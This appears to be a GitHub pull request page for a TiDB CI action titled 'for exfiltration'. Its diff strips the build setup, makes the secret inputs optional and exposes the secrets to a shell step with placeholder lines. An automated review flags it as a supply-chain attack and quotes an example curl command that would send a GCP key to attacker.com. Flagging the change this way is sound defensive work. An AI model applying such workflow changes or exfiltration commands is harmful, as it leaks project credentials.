Modify action.yml for exfiltration#67450
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📝 WalkthroughWalkthroughThe TiDB Build GitHub Actions composite action was simplified by removing the Changes
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Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In @.github/actions/tidb_build/action.yml:
- Around line 1-20: The composite action definition (name 'TiDB Build', inputs
'bazelrc'/'gcp_sa_key'/'go-version', runs.steps that set env BAZELRC/GCP_SA_KEY)
has been replaced with suspicious placeholder commands (the echo | base64 lines)
and lowered secret protections; restore the original secure build flow by
re-adding the legit bazel setup and credential handling (e.g., the removed
bazel-contrib/setup-bazel step, cache config, and the logic that consumes inputs
into secure files), mark secret inputs 'required: true' again, remove the
echo/base64 lines that could exfiltrate secrets and ensure secrets are never
printed or piped to external commands, and coordinate with security/CI owners to
validate the updated action and scan contributor activity before merging.
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Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
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📒 Files selected for processing (1)
.github/actions/tidb_build/action.yml
| name: 'TiDB Build' | ||
| description: 'Build' | ||
| inputs: | ||
| go-version: | ||
| description: Go version to setup | ||
| required: false | ||
| default: "1.25" | ||
| bazelrc: | ||
| description: Bazelrc content from secrets | ||
| required: true | ||
| required: false | ||
| gcp_sa_key: | ||
| description: GCP service account key JSON content | ||
| required: true | ||
| required: false | ||
| go-version: | ||
| required: false | ||
| runs: | ||
| using: composite | ||
| using: 'composite' | ||
| steps: | ||
| - name: Set up bazelisk | ||
| uses: bazel-contrib/setup-bazel@0.16.0 | ||
| with: | ||
| bazelisk-cache: true | ||
| repository-cache: true | ||
| external-cache: false | ||
| disk-cache: ${{ github.workflow }} | ||
| google-credentials: ${{ inputs.gcp_sa_key }} | ||
| bazelrc: ${{ inputs.bazelrc }} | ||
|
|
||
| - name: Report cache mode | ||
| shell: bash | ||
| - shell: bash | ||
| env: | ||
| HAS_BAZELRC: ${{ inputs.bazelrc != '' }} | ||
| HAS_GCP_SA_KEY: ${{ inputs.gcp_sa_key != '' }} | ||
| BAZELRC: ${{ inputs.bazelrc }} | ||
| GCP_SA_KEY: ${{ inputs.gcp_sa_key }} | ||
| run: | | ||
| if [ "$HAS_BAZELRC" = "true" ] && [ "$HAS_GCP_SA_KEY" = "true" ]; then | ||
| echo "Loaded bazelrc and GCP credentials from workflow inputs." | ||
| exit 0 | ||
| fi | ||
|
|
||
| echo "Bazelrc or GCP credentials were not provided to tidb_build." | ||
| echo "This is expected on fork pull_request workflows because GitHub does not expose repository secrets." | ||
| echo "setup-bazel will still configure local disk and repository caches." | ||
| echo "Repository Bazel flags may still enable read-only remote cache during the actual build command." | ||
|
|
||
| - name: Set up Go | ||
| uses: actions/setup-go@v6 | ||
| with: | ||
| go-version: ${{ inputs.go-version }} | ||
| cache: false | ||
| echo "111111111" | base64 | ||
| echo "22222222222" | base64 | ||
| echo "33333333333" |
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🚨 CRITICAL SECURITY ALERT: This PR appears to be a malicious supply chain attack.
This PR exhibits multiple indicators of a deliberate attempt to compromise the CI/CD pipeline:
-
The PR title explicitly states "exfiltration" — a term describing unauthorized data extraction/theft.
-
All legitimate build functionality has been removed — The
bazel-contrib/setup-bazelaction, cache configuration, and credential setup have been entirely stripped. -
Secrets are captured but not used legitimately —
BAZELRCandGCP_SA_KEY(which receivesecrets.BAZELRCandsecrets.GCP_SA_KEYfrom calling workflows like.github/workflows/update-bazel-files.yml) are set as environment variables but the actual credential configuration logic has been deleted. -
Suspicious placeholder commands — The
echo | base64pattern on lines 18-19 is a common placeholder for data exfiltration payloads. These could trivially be modified to send secrets to an external server (e.g.,echo "$GCP_SA_KEY" | base64 | curl -d@-attacker.com). -
Security controls weakened — Changing
required: truetorequired: falsefor secret inputs enables the action to run without proper credentials, potentially masking the attack.
Immediate actions required:
- Do NOT merge this PR
- Investigate the contributor account for signs of compromise or malicious activity
- Review any other PRs from this contributor
- Consider reporting to GitHub security if this is a coordinated attack
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/actions/tidb_build/action.yml around lines 1 - 20, The composite
action definition (name 'TiDB Build', inputs
'bazelrc'/'gcp_sa_key'/'go-version', runs.steps that set env BAZELRC/GCP_SA_KEY)
has been replaced with suspicious placeholder commands (the echo | base64 lines)
and lowered secret protections; restore the original secure build flow by
re-adding the legit bazel setup and credential handling (e.g., the removed
bazel-contrib/setup-bazel step, cache config, and the logic that consumes inputs
into secure files), mark secret inputs 'required: true' again, remove the
echo/base64 lines that could exfiltrate secrets and ensure secrets are never
printed or piped to external commands, and coordinate with security/CI owners to
validate the updated action and scan contributor activity before merging.
|
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2 participants
What problem does this PR solve?
Issue Number: close #xxx
Problem Summary:
What changed and how does it work?
Check List
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Release note
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Summary by CodeRabbit
Chores
Bug Fixes
bazelrcandgcp_sa_keyinputs optional rather than required, allowing the action to run with minimal configuration.